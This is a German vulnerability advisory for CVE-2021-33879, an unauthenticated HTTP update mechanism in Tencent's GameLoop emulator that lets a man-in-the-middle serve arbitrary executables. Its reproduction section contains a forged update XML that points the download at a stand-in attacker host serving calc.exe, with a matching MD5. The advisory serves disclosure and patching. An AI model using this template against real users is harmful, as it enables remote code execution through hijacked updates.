
GameLoop-Update-MITM
CVE-ID: CVE-2021-33879
Name des betroffenen Produkts/der betroffenen Produkte und Version(en): GameLoop (alle Versionen vor 4.1.21.90)
Schwachstellentyp: CWE-494: Herunterladen von Code ohne Integritätsprüfung
Zusammenfassung
GameLoop ist ein von Tencent entwickelter Android-Emulator. Es verfügt über einen Aktualisierungsmechanismus, der weder verschlüsselt noch authentifiziert ist (außer durch MD5-Hashes, die bei diesem Exploit vom Angreifer kontrolliert werden können), sodass ein Angreifer in einer MITM-Position seine eigenen Update-Pakete abfangen und senden kann, die auf dem Rechner des Opfers ausgeführt werden.
Beschreibung
Tencent GameLoop lud vor Version 4.1.21.90 Updates über eine unsichere HTTP-Verbindung herunter. Ein böswilliger Angreifer in einer MITM-Position konnte den Inhalt eines XML-Dokuments verfälschen, das ein Update-Paket beschreibt, und eine Download- URL durch eine URL ersetzen, die auf eine beliebige ausführbare Windows-Datei zeigt. Da die einzige Integritätsprüfung ein Vergleich der MD5-Prüfsumme der heruntergeladenen Datei mit der im XML-Dokument enthaltenen Prüfsumme wäre, würde die heruntergeladene ausführbare Datei anschließend auf dem Rechner des Opfers ausgeführt.
Reproduktion
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


Behebung
Installieren Sie eine neuere Version von GameLoop.